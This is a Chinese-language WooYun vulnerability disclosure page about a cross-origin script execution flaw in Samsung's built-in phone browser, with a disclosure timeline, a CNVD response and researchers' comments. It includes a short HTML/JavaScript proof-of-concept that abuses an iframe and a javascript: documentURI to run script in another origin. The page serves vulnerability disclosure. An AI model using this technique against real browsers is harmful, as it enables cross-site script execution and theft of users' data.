三星手机自带浏览器跨域脚本执行漏洞

2015年5月4日03:34:43评论460 views字数 239阅读0分47秒阅读模式

摘要

2014-07-22：细节已通知厂商并且等待厂商处理中
2014-07-25：厂商已经确认，细节仅向厂商公开
2014-07-28：细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-18：细节向核心白帽子及相关领域专家公开
2014-09-28：细节向普通白帽子公开
2014-10-08：细节向实习白帽子公开
2014-10-18：细节向公众公开

漏洞概要关注数(23) 关注此漏洞

缺陷编号： WooYun-2014-69118

漏洞标题：三星手机自带浏览器跨域脚本执行漏洞

漏洞作者：泳少

提交时间： 2014-07-22 18:53

公开时间： 2014-10-18 18:54

漏洞类型：远程代码执行

危害等级：中

自评Rank： 10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：浏览器漏洞利用技巧

1人收藏

漏洞详情

披露状态：

简要描述：

应该要好好加强

详细说明：

code 区域

<body>
 
 <script>
 
 i = document.body.appendChild(document.createElement("iframe"));
 
 i.src = "http://**.**.**.**/cn/";
 
 
 
 i.onload = function()
 
 {
 
  document.documentURI = "javascript://**.**.**.**/%0D%0Aalert('hello ' + 
 
 location)";
 
  i.contentWindow.location = "";
 
 }
 
 </script>
 
 </body>

严格要求。。。。

漏洞证明：

修复方案：

我。。。学习PHP去算了

版权声明：转载请注明来源泳少@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-07-25 12:19

厂商回复：

CNVD未直接复现确认，已经转报给CNCERT建立的中国反网络病毒联盟ANVA，由其后续转报给三星中国公司相关联系人。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

评价

2014-07-20 19:23 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦我的宝贝 | ..)

2

我日，改个名字就变成大厂商了。。。。

1# 回复此人
2014-07-20 19:24 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@从容改什么名字？您说的是刚刚QQ上跟你说的那个啊？不是的...

2# 回复此人
2014-07-20 19:25 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦我的宝贝 | ..)

0

@泳少不是webview？

3# 回复此人
2014-07-20 19:26 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦我的宝贝 | ..)

0

你这是三星的自带浏览器，大厂商也是正常的

4# 回复此人
2014-07-20 19:29 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@从容不是的。。。咱俩私聊好么？

5# 回复此人
2014-07-20 20:05 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

0

小菜膜拜中..

6# 回复此人
2014-07-20 20:10 | xsser ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

1

@泳少兄弟发下你的系统版本截图

7# 回复此人
2014-07-20 20:12 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@xsser android系统吗？

8# 回复此人
2014-07-20 20:16 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

0

@xsser 目测是低版本系统造成的，应该是那个webview

9# 回复此人
2014-07-20 20:16 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@xsser 请审核。。

10# 回复此人
2014-07-20 20:17 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

1

@U神不是这个漏洞webview

11# 回复此人
2014-07-20 20:19 | 小帅 ( 路人 | Rank:2 漏洞数:3 | 白帽子继续前进)

0

泳少的漏洞顶

12# 回复此人
2014-07-20 20:23 | xsser ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

0

@泳少有本质区别么？

13# 回复此人
2014-07-20 20:25 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@xsser 兄弟，我的错。。。

14# 回复此人
2014-07-22 10:59 | Random ( 路人 | Rank:9 漏洞数:4 )

0

估计是这个http://wooyun.org/bugs/wooyun-2010-047674

15# 回复此人
2014-08-14 16:43 | mango ( 核心白帽子 | Rank:2165 漏洞数:312 | 解决问题的第一步，是要承认问题的存在。)

0

- -。。。。。。

16# 回复此人

漏洞概要 关注数(23) 关注此漏洞

缺陷编号： WooYun-2014-69118

漏洞标题： 三星手机自带浏览器跨域脚本执行漏洞

相关厂商： cncter国家互联网应急中心

漏洞作者： 泳少